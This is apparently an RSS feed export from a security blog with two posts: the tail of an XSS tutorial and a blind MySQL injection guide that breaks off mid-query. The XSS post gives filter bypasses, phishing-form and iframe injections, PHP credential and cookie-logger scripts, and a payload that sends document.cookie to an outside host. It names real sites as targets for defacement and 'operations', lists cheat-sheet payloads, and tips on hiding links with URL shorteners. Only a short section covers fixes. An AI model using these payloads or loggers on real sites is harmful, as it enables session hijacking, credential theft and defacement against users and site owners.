<p>As Said in section 0&#215;02 , Here i am going to discuss about bypass techniques :)</p>
<p>There are a lot of ways to bypass XSS filters on websites, I&#8217;ll number some:</p>
<p>\_ 1.) magic_quotes_gpc=ON bypass<br />
\_ 2.) HEX encoding<br />
\_ 3.) Obfuscation<br />
\_ 4.) Trying around</p>
<p>1.) magic_quotes_gpc=ON is a php setting (php.ini).<br />
It causes that every &#8216; (single-quote), &#8221; (double quote) and  \ (backslash)<br />
are escaped with a backslash automatically. It&#8217;s also a well known method<br />
to avoid XSS flaws, although it&#8217;s exploitable.</p>
<p>How to bypass it when it&#8217;s ON? &#8211; use the javascript function called<br />
String.fromCharCode(), just convert your text in decimal characters<br />
(e.g. here: http://www.asciizeichen.de/tabelle.html) and put them in the handling.</p>
<p>Using &#8220;ankit&#8221; (without quote sign) will look like this:</p>
<p>String.fromCharCode(97, 110, 107, 105,116)</p>
<p>now insert this in your alert script:</p>
<p>www.site.ru/google.php?search=&lt;script&gt;alert(String.fromCharCode(97, 110, 107, 105,116));&lt;/script&gt;</p>
<p>2.) HEX encoding is a useful bypass method, too. Using this step will encode<br />
your script, so you can&#8217;t see clearly on the first look what the code will cause.<br />
This is how</p>
<p>&lt;script&gt;alert(/turtles/);&lt;/script&gt;</p>
<p>looks like encrypted in HEX:</p>
<p>www.site.ru/google.php?search=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%2F%74%75%72%74%6C%65%73%2F%29%3B%3C%2F%73%63%72%69%70%74%3E</p>
<p>3.) Obfuscation &#8211; sometimes website administrator simply put words like<br />
&#8220;script&#8221;,&#8221;alert()&#8221;,&#8221;&#8221;&#8221; on the &#8220;badwords list&#8221;, that means, when you<br />
search for &#8220;script&#8221; on the website, it just shows you an error, like<br />
&#8220;you are not allowed to search for this word&#8221; or something.<br />
but this is a weak protection, you can bypass it using obfuscation.<br />
your javascript code like:<br />
&lt;sCrIpT&gt;alert(&#8216;turtles&#8217;);&lt;/ScRiPt&gt;</p>
<p>There are like unlimited possibilities, but that leads us to the<br />
next chapter&#8230;</p>
<p>4.) Trying around: sometimes you just got to try around, because every website<br />
is secured/unsecured in a different, unique way. Some doesn&#8217;t even use<br />
cookies for example. Alway&#8217;s keep a look at the website&#8217;s source code!<br />
Sometimes you need to adjust your XSS script, like:</p>
<p>&#8220;&gt;&lt;script&gt;alert(/ankit/);&lt;/script&gt;</p>
<p>This you need sometimes if you injected your code into a searchbox e.g. and<br />
interrupt a html tag, so you first need to close him, then start a new<br />
tag (&lt;script&gt;&#8230;).</p>
<p>Anyway, there are lot&#8217;s of different methods how to bypass XSS filtration,<br />
try around !</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
0&#215;05: Damages By Xss<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Till Yet I have elaborated on xss and its basics . i showed you to how to spawn a javascript alert message on a website. Now lets concentrate on what havoc can xss bring if the site is vulnerable To Xss. If You are still thinking xss is useless and just to show off think agian .:) .. Let me remeber you Twitter , Facebook , orut , NDTV , BSNL Are heavily Affected by the xss And its sub methods . Here are some attack techniques you can do with a XSS flaw:</p>
<p>1.) Inject a Phishing script<br />
2.) Iframe Phishing<br />
3.) Redirict Phishing<br />
4.) Cookie stealing<br />
5.) Defacing</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
\_ 1.) Injecting A phishing page :<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Assuming you are aware of what the heck is Phishing [ no , its not fishing :P , but kinda related to it ]<br />
Phishing script inject: Just inject a &#8216;user&#8217; and &#8216;password&#8217; field in html<br />
(With the &lt;html&gt; and &lt;body&gt; tags), that the victim may think he need&#8217;s to login to the target site.</p>
<p>Here an example:</p>
<p>www.site.com/google.php?search=&lt;html&gt;&lt;body&gt;&lt;head&gt;&lt;meta content=&#8221;text/html; charset=utf-8&#8243;&gt;&lt;/meta&gt;&lt;/head&gt;<br />
&lt;div style=&#8221;text-align: center;&#8221;&gt;&lt;form Method=&#8221;POST&#8221; Action=&#8221;http://www.phishingsite.com/phishingscript.php&#8221;&gt;<br />
Phishingpage :&lt;br /&gt;&lt;br/&gt;Username :&lt;br /&gt; &lt;input name=&#8221;User&#8221; /&gt;&lt;br /&gt;Password :&lt;br /&gt;<br />
&lt;input name=&#8221;Password&#8221; type=&#8221;password&#8221; /&gt;&lt;br /&gt;&lt;br /&gt;&lt;input name=&#8221;Valid&#8221; value=&#8221;Ok !&#8221; type=&#8221;submit&#8221; /&gt;<br />
&lt;br /&gt;&lt;/form&gt;&lt;/div&gt;&lt;/body&gt;&lt;/html&gt;</p>
<p>You Can Carry Your Operation On this</p>
<p>|======================|<br />
| http://www.gamez.pk/ |<br />
|======================|</p>
<p>content of phishingscript.php</p>
<p>&lt;?php<br />
$login = $_POST['user'];<br />
$password = $_POST['Password'];<br />
$open = fopen(&#8216;log.txt&#8217;, &#8216;a+&#8217;);<br />
fputs($open, &#8216;Username : &#8216; . $login . &#8216;&lt;br &gt;&#8217; . &#8216;<br />
Password : &#8216; . $password . &#8216;&lt;br &gt;&#8217; . &#8216;&lt;br &gt;&#8217;);<br />
?&gt;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;<br />
\_ 2.) Iframe Phishing<br />
&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Iframe Phishing: Simple thing, just inject a javascript code containing an iframe where your phishing site is embeeded. Obviously it needs to look just like the target site.</p>
<p>Here an example:</p>
<p>www.site.com/google.php?search=&lt;iframe src=&#8221;http://www.yourphishingsite.com&#8221; height=&#8221;100%&#8221; width=&#8221;100%&#8221;&gt;&lt;/iframe&gt;</p>
<p>(Note: height=&#8221;100%&#8221; width=&#8221;100%&#8221; means that the whole window is filled with<br />
that iframe.)<br />
The target site will spawn your phishing site in an Iframe, and the website user / victims won&#8217;t see a<br />
difference and log in (If they&#8217;re are foolish enough).</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
\_ 3.) Rediriction Phishing:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Also simple, just inject a javascript rediriction script that leads to your phishingsite, of course it needs to look just like the target site.</p>
<p>Here an example:</p>
<p>www.site.ru/google.php?search=&lt;script&gt;document.location.href=&#8221;http://www.yourphishingsite.ru&#8221;&lt;/script&gt;</p>
<p>or</p>
<p>www.site.ru/google.php?search=&lt;META HTTP-EQUIV=&#8221;refresh&#8221; CONTENT=&#8221;0; URL=&#8221;http://www.yorphishingsite.ru&#8221;&gt;</p>
<p>\_ 4.) &#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Cookie Stealing<br />
&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>I decided To add this part , as i have seen lot of papers , ebboks ,artciles not covering this part and if hey do add , its not clear to the readers so its here :)</p>
<p>Its the most usefull and vital part in xss . You Just have to Put your cookie logger script on your webspace and insert javascript into xss vulnerable with the cookielogger script address :) Rest The Script Will Do , You Will Get the cookies to eat with tea/coffee :P ..</p>
<p>&lt;*?php</p>
<p>function GetIP()<br />
{<br />
if (getenv(&#8220;HTTP_CLIENT_IP&#8221;) &amp;&amp; strcasecmp(getenv(&#8220;HTTP_CLIENT_IP&amp;quot;), &#8220;unknown&#8221;))<br />
$ip = getenv(&#8220;HTTP_CLIENT_IP&#8221;);<br />
else if (getenv(&#8220;HTTP_X_FORWARDED_FOR&#8221;) &amp;&amp; strcasecmp(getenv(&#8220;HTTP_X_FORWARDED_FOR&#8221;), &#8220;unknown&#8221;))<br />
$ip = getenv(&#8220;HTTP_X_FORWARDED_FOR&#8221;);<br />
else if (getenv(&#8220;REMOTE_ADDR&#8221;) &amp;&amp; strcasecmp(getenv(&#8220;REMOTE_ADDR&amp;quot;), &#8220;unknown&#8221;))<br />
$ip = getenv(&#8220;REMOTE_ADDR&#8221;);<br />
else if (isset($_SERVER['REMOTE_ADDR']) &amp;&amp; $_SERVER['REMOTE_ADDR'] &amp;&amp; strcasecmp($_SERVER['REMOTE_ADDR&amp;#39;], &#8220;unknown&#8221;))<br />
$ip = $_SERVER['REMOTE_ADDR'];<br />
else<br />
$ip = &#8220;unknown&#8221;;<br />
return($ip);<br />
}</p>
<p>function logData()<br />
{<br />
$ipLog=&#8221;log.txt&#8221;;<br />
$cookie = $_SERVER['QUERY_STRING'];<br />
$register_globals = (bool) ini_get(&#8216;register_gobals&#8217;);<br />
if ($register_globals) $ip = getenv(&#8216;REMOTE_ADDR&#8217;);<br />
else $ip = GetIP();</p>
<p>$rem_port = $_SERVER['REMOTE_PORT'];<br />
$user_agent = $_SERVER['HTTP_USER_AGENT'];<br />
$rqst_method = $_SERVER['METHOD'];<br />
$rem_host = $_SERVER['REMOTE_HOST'];<br />
$referer = $_SERVER['HTTP_REFERER'];<br />
$date=date (&#8220;l dS of F Y h:i:s A&#8221;);<br />
$log=fopen(&#8220;$ipLog&#8221;, &#8220;a+&#8221;);</p>
<p>if (preg_match(&#8220;/\bhtm\b/i&#8221;, $ipLog) || preg_match(&#8220;/\bhtml\b/i&#8221;, $ipLog))<br />
fputs($log, &#8220;IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie<br />
&#8220;);<br />
else<br />
fputs($log, &#8220;IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n&#8221;);<br />
fclose($log);<br />
}</p>
<p>logData();</p>
<p>?&gt;</p>
<p>Above is the cookie logger script . Make a tlog.txt and put  both of them on your webspace and set &#8220;chmod 777&#8243;.<br />
Inject the following code in your target website:</p>
<p>http://www.site.com/google.php?search=&lt;script&gt;location.href = &#8216;http://phishingsite.com/cookiestealer.php?cookie=&#8217;+document.cookie;&lt;/script&gt;</p>
<p>// obviously you have to rename the name of script :) .. use a name that seems less suspecious :O</p>
<p>Now As soon as the user visits the page victim&#8217;s cookie will be trapped in your log file . Once You Got the cookies you can hijack there session :)</p>
<p>// You Can use Firefox Addons , Maybe Available for chrome too :)</p>
<p>&#8212;&#8212;&#8211;<br />
\_ 5.) Defacing<br />
&#8212;&#8212;&#8211;</p>
<p>Well now you understand how XSS works, we can explain some simple XSS deface methods, there<br />
are many ways for defacing i will mention some of the best and most used,</p>
<p>the first one being IMG SCR, now for those of you who dont know html, IMG SCR is a tag, that<br />
displays the IMAGE linked to it on the webpage.</p>
<p>&lt;b&gt;xSsed by Ankit&lt;/b&gt;&lt;head&gt;&lt;body&gt;&lt;IMG SRC=&#8221;site.com/jpg&#8221; width= 700 height= 700&gt;&lt;/body&gt;&lt;/head&gt;</p>
<p>Example ::</p>
<p>http://www.lapdonline.org/search_results/search/&#038;view_all=1&#038;chg_filter=1&#038;searchType=content_basic&#038;search_terms=%3Cb%3ExSsed%20by%20CrazyAnkit%3C/b%3E%3Chead%3E%3Cbody%3E%3CIMG%20SRC=%22http://ploader.net/files/87be7175082785f6e890497951c61ebc.jpg%22%20width=%20700%20height=%20700%3E%3C/body%3E%3C/head%3E</p>
<p>the other tags are not needed has the page will already have them. (rare cases they will not)</p>
<p>Ok it helps to make your picture big so it stands out and its clear the site got hacked.</p>
<p>Another method is using FLASH videos, its the same has the method below but a more stylish deface.</p>
<p>&lt;EMBED SRC=&#8221;http://site.com/xss.swf&#8221;</p>
<p>that will execute the flash video linked to it.</p>
<p>Or maybe using a pop or redirection?</p>
<p>&lt;SCRIPT&gt;alert(&#8220;Ankit Z here&#8221;)&lt;/SCRIPT&gt; // pop up</p>
<p>&lt;script&gt;window.open( &#8220;http://www.google.com/&#8221; )&lt;/script&gt; // redirecion</p>
<p>There Are Tons of others too  I Will Add Them in Next Section &#8220;&#8221; Xss : Cheat sheet &#8220;&#8221; . The Deapth is too much that i would have to write an another paper for cheat sheet</p>
<p>&lt;~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~&gt;<br />
Cheat Sheets<br />
&lt;~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~&gt;</p>
<p>Here is the XSS cheat sheet, where I got most of them from http://ha.ckers.org/xss.html.<br />
Enjoy. !!</p>
<p>&#8221;;!&#8211;&#8221;&lt;XSS&gt;=&amp;{()}</p>
<p>&lt;SCRIPT SRC=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;</p>
<p>&lt;IMG SRC=&#8221;javascript:alert(&#8216;XSS&#8217;);&#8221;&gt;</p>
<p>&lt;IMG SRC=javascript:alert(&#8216;XSS&#8217;)&gt;</p>
<p>&lt;IMG SRC=javascript:alert(&#8220;XSS&#8221;)&gt;</p>
<p>&lt;IMG SRC=`javascript:alert(&#8220;RSnake says, &#8216;XSS&#8217;&#8221;)`&gt;</p>
<p>&lt;IMG &#8220;&#8221;"&gt;&lt;SCRIPT&gt;alert(&#8220;XSS&#8221;)&lt;/SCRIPT&gt;&#8221;&gt;</p>
<p>&lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;</p>
<p>&lt;IMG SRC=javascript:alert(&#8216;XSS&#8217;)&gt;</p>
<p>&lt;IMG SRC=javascript:alert(&#8216;XSS&#8217;)&gt;</p>
<p>&lt;IMG SRC=javascript:alert(&#8216;XSS&#8217;)&gt;</p>
<p>&lt;IMG SRC=&#8221;jav    ascript:alert(&#8216;XSS&#8217;);&#8221;&gt;</p>
<p>&lt;IMG SRC=&#8221;jav    ascript:alert(&#8216;XSS&#8217;);&#8221;&gt;</p>
<p>&lt;IMG SRC=&#8221;jav<br />
ascript:alert(&#8216;XSS&#8217;);&#8221;&gt;</p>
<p>#############################################################<br />
#                                                           #<br />
# PROTIP FOR EVERY XSS INJECTION:                           #<br />
# use url shortener services such as tinyurl.com or bit.ly  #<br />
# to &#8216;hide&#8217; your injection, so the victim won&#8217;t know what&#8217;s #<br />
# behind that url.                                          #<br />
#                                                           #<br />
#############################################################</p>
<p>==xx==xx==xx==xx==xx==</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
0&#215;06 : Fixing Xss Holes<br />
&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>This Section  is written for developers ,i mean web developers ;) . i will introduce with facts how can you secure your code<br />
well , i found this section to be most mind bending still i have written the best i can .. [i am not good in explain things !!]</p>
<p>please go to this URL for more info about this</p>
<p>####################################################################################</p>
<p>http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet</p>
<p>####################################################################################</p>
<p>well, leaving useless talks lets talk about xss prevention :)</p>
<p>If you found XSS bugs in your scripts, its easy to secure, take a look at the below code</p>
<p>if(isset($_POST['form'])){echo &#8220;&lt;html&gt;&lt;body&gt;&#8221; .$_POST['form']. &#8220;&lt;/body&gt;&lt;/html&gt;&#8221;;}</p>
<p>Ok say the variable $_POST['from'] was coming from a input box, then you have a XSS attack.<br />
the following is a very easy way to secure that.</p>
<p>$charset=&#8217;UTF-8&#8242;; $data  =  htmlentities ($_POST['form'], ENT_NOQUOTES, $charset);<br />
if(isset($data)){echo &#8220;&lt;html&gt;&lt;body&gt;&#8221; .$data. &#8220;&lt;/body&gt;&lt;/html&gt;&#8221;;}</p>
<p>now that will take all possible code and make it not executable. by turning it into stuff like<br />
&amp;lt; ect&#8230;</p>
<p>You will not notice a diffrence when using htmlentries();</p>
<p>there are also another common function, striptags(), find more info at php.net/striptags</p>
<p>ok another way to show you how to secure INTEGER variables. (variables that will always contain a INT)</p>
<p>$this = $_GET['id'];<br />
echo &#8220;you are viewing &#8221; . $this . &#8220;blog&#8221;;</p>
<p>now if we include ?id=&lt;script&gt;alert(&#8220;XSS&#8221;)&lt;/script&gt;<br />
into the url its gona execute our code, a very easy way to secure this is using (int) check the following code</p>
<p>$this = (int)$_GET['id'];<br />
echo &#8220;you are viewing &#8221; . $this . &#8220;blog&#8221;;</p>
<p>now if at anytime the varible contains anything but a Integer, it will return 0.</p>
<p>Thats enough said. huh !!</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
0&#215;07: XSS The Complete Walkthrough [The End]<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
|_| Conclusions</p>
<p>Well i have talked about xss !!i hope you have enjoyed my paper a lot while reading like i enjoyed [ believe me i am lying lol !! :D]</p>
<p>If you got any questions mail me @ koolankit1993@gmail.com</p>
<p>I still have not included many topics in my paper like clicjacking with xss and vbSEO – From XSS to Reverse PHP Shell :P and few more :)<br />
i will write a seprate paper on xss prevention later on :)</p>
<p>This is a very cute attack , enjoy it at its best !!</p>
<p>*************<br />
EoF</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/guidebook-on-cross-site-scripting/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Faster Blind MySQL Injection Using Bit Shifting</title>
		<link>http://www.0x50sec.org/faster-blind-mysql-injection-using-bit-shifting/</link>
		<comments>http://www.0x50sec.org/faster-blind-mysql-injection-using-bit-shifting/#comments</comments>
		<pubDate>Mon, 04 Apr 2011 12:34:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[Bit Shifting]]></category>
		<category><![CDATA[Blind MySQL Injection]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1065</guid>
		<description><![CDATA[Faster Blind MySQL Injection Using Bit Shifting ### # http://h.ackack.net/faster-blind-mysql-injection-using-bit-shifting.html for a HTML version # Made by Jelmer de Hen # H.ackAck.net ##### While strolling through mysql.com I came across this page http://dev.mysql.com/doc/refman/5.0/en/bit-functions.html. There you can view the possibility of the bitwise function right shift. A bitwise right shift will shift the bits 1 location [...]]]></description>
			<content:encoded><![CDATA[<p>Faster Blind MySQL Injection Using Bit Shifting<br />
###<br />
# http://h.ackack.net/faster-blind-mysql-injection-using-bit-shifting.html for a HTML version<br />
#    Made by Jelmer de Hen<br />
#       H.ackAck.net<br />
#####</p>
<p>While strolling through mysql.com I came across this page http://dev.mysql.com/doc/refman/5.0/en/bit-functions.html.</p>
<p>There you can view the possibility of the bitwise function right shift.</p>
<p>A bitwise right shift will shift the bits 1 location to the right and add a 0 to the front.</p>
<p>Here is an example:</p>
<p>mysql&gt; select ascii(b&#8217;00000010&#8242;);<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
| ascii(b&#8217;00000010&#8242;) |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
|                  2 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
1 row in set (0.00 sec)</p>
<p>Right shifting it 1 location will give us:</p>
<p>mysql&gt; select ascii(b&#8217;00000010&#8242;) &gt;&gt; 1;<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+<br />
| ascii(b&#8217;00000010&#8242;) &gt;&gt; 1 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+<br />
|                       1 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+<br />
1 row in set (0.00 sec)</p>
<p>It will add a 0 at the front and remove 1 character at the end.<br />
00000010      = 2<br />
00000010 &gt;&gt; 1 = 00000001<br />
		^      ^<br />
		0      shifted</p>
<p>So let&#8217;s say we want to find out a character of a string during blind MySQL injection and use the least possible amount of requests and do it as soon as possible we could use binary search but that will quickly take a lot of requests.<br />
First we split the ascii table in half and try if it&#8217;s on 1 side or the other, that leaves us ~64 possible characters.<br />
Next we chop it in half again which will give us 32 possible characters.<br />
Then again we get 16 possible characters.<br />
After the next split we have 8 possible characters and from this point it&#8217;s most of the times guessing or splitting it in half again.</p>
<p>Let&#8217;s see if we can beat that technique by optimizing this &#8211; but first more theory about the technique I came up with.</p>
<p>There are always 8 bits reserved for ASCII characters.<br />
An ASCII character can be converted to it&#8217;s decimal value as you have seen before:<br />
<span id="more-1065"></span><br />
mysql&gt; select ascii(&#8216;a&#8217;);<br />
+&#8212;&#8212;&#8212;&#8212;+<br />
| ascii(&#8216;a&#8217;) |<br />
+&#8212;&#8212;&#8212;&#8212;+<br />
|         97 |<br />
+&#8212;&#8212;&#8212;&#8212;+<br />
1 row in set (0.00 sec)</p>
<p>This will give a nice int which can be used as binary.</p>
<p>a = 01100001</p>
<p>If we would left shift this character 7 locations to the right you would get:</p>
<p>00000000</p>
<p>The first 7 bits are being added by the shift, the last character remains which is 0.</p>
<p>mysql&gt; select ascii(&#8216;a&#8217;) &gt;&gt; 7;<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
| ascii(&#8216;a&#8217;) &gt;&gt; 7 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
|               0 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
1 row in set (0.00 sec)</p>
<p>a = 01100001</p>
<p>01100001 &gt;&gt; 7 == 00000000 == 0<br />
01100001 &gt;&gt; 6 == 00000001 == 1<br />
01100001 &gt;&gt; 5 == 00000011 == 3<br />
01100001 &gt;&gt; 4 == 00000110 == 6<br />
01100001 &gt;&gt; 3 == 00001100 == 12<br />
01100001 &gt;&gt; 2 == 00011000 == 24<br />
01100001 &gt;&gt; 1 == 00110000 == 48<br />
01100001 &gt;&gt; 0 == 01100001 == 97</p>
<p>When we did the bitshift of 7 we had 2 possible outcomes &#8211; 0 or 1 and we can compare it to 0 and 1 and determine that way if it was 1 or 0.</p>
<p>mysql&gt; select (ascii(&#8216;a&#8217;) &gt;&gt; 7)=0;<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
| (ascii(&#8216;a&#8217;) &gt;&gt; 7)=0 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
|                   1 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
1 row in set (0.00 sec)</p>
<p>It tells us that it was true that if you would shift it 7 bits the outcome would be equal to 0.<br />
Once again, if we would right shift it 6 bits we have the possible outcome of 1 and 0.</p>
<p>mysql&gt; select (ascii(&#8216;a&#8217;) &gt;&gt; 6)=0;<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
| (ascii(&#8216;a&#8217;) &gt;&gt; 6)=0 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
|                   0 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
1 row in set (0.00 sec)</p>
<p>This time it&#8217;s not true so we know the first 2 bits of our character is &#8220;01&#8243;.<br />
If the next shift will result in &#8220;010&#8243; it would equal to 2; if it would be &#8220;011&#8243; the outcome would be 3.</p>
<p>mysql&gt; select (ascii(&#8216;a&#8217;) &gt;&gt; 5)=2;<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
| (ascii(&#8216;a&#8217;) &gt;&gt; 5)=2 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
|                   0 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
1 row in set (0.00 sec)</p>
<p>It is not true that it is 2 so now we can conclude it is &#8220;011&#8243;.<br />
The next possible options are:<br />
0110 = 6<br />
0111 = 7</p>
<p>mysql&gt; select (ascii(&#8216;a&#8217;) &gt;&gt; 4)=6;<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
| (ascii(&#8216;a&#8217;) &gt;&gt; 4)=6 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
|                   1 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
1 row in set (0.00 sec)</p>
<p>We got &#8220;0110&#8243; now and looking at the table for a above here you can see this actually is true.<br />
Let&#8217;s try this on a string we actually don&#8217;t know, user() for example.</p>
<p>First we shall right shift with 7 bits, possible results are 1 and 0.</p>
<p>mysql&gt; select (ascii((substr(user(),1,1))) &gt;&gt; 7)=0;<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
| (ascii((substr(user(),1,1))) &gt;&gt; 7)=0 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
|                                    1 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
1 row in set (0.00 sec)</p>
<p>We now know that the first bit is set to 0.<br />
0???????</p>
<p>The next possible options are 0 and 1 again so we compare it with 0.</p>
<p>mysql&gt; select (ascii((substr(user(),1,1))) &gt;&gt; 6)=0;<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
| (ascii((substr(user(),1,1))) &gt;&gt; 6)=0 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
|                                    0 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
1 row in set (0.00 sec)</p>
<p>Now we know the second bit is set to 1.<br />
01??????</p>
<p>Possible next options are:<br />
010 = 2<br />
011 = 3</p>
<p>mysql&gt; select (ascii((substr(user(),1,1))) &gt;&gt; 5)=2;<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
| (ascii((substr(user(),1,1))) &gt;&gt; 5)=2 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
|                                    0 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
1 row in set (0.00 sec)</p>
<p>Third bit is set to 1.<br />
011?????</p>
<p>Next options:<br />
0110 = 6<br />
0111 = 7</p>
<p>mysql&gt; select (ascii((substr(user(),1,1))) &gt;&gt; 4)=6;<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
| (ascii((substr(user(),1,1))) &gt;&gt; 4)=6 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
|                                    0 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br />
1 row in set (0.00 sec)</p>
<p>This bit is also set.<br />
0111????</p>
<p>Next options:<br />
01110 = 14<br />
01111 = 15</p>
<p>mysql&gt; select (ascii((substr(user(),1,1))) &gt;&gt; 3)=14;<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
| (ascii((substr(user(),1,1))) &gt;&gt; 3)=14 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
|                                     1 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
1 row in set (0.00 sec)</p>
<p>01110???</p>
<p>Options:<br />
011100 = 28<br />
011101 = 29</p>
<p>mysql&gt; select (ascii((substr(user(),1,1))) &gt;&gt; 2)=28;<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
| (ascii((substr(user(),1,1))) &gt;&gt; 2)=28 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
|                                     1 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
1 row in set (0.00 sec)</p>
<p>011100??</p>
<p>Options:<br />
0111000 = 56<br />
0111001 = 57</p>
<p>mysql&gt; select (ascii((substr(user(),1,1))) &gt;&gt; 1)=56;<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
| (ascii((substr(user(),1,1))) &gt;&gt; 1)=56 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
|                                     0 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
1 row in set (0.00 sec)</p>
<p>0111001?<br />
Options:<br />
01110010 = 114<br />
01110011 = 115</p>
<p>mysql&gt; select (ascii((substr(user(),1,1))) &gt;&gt; 0)=114;<br />
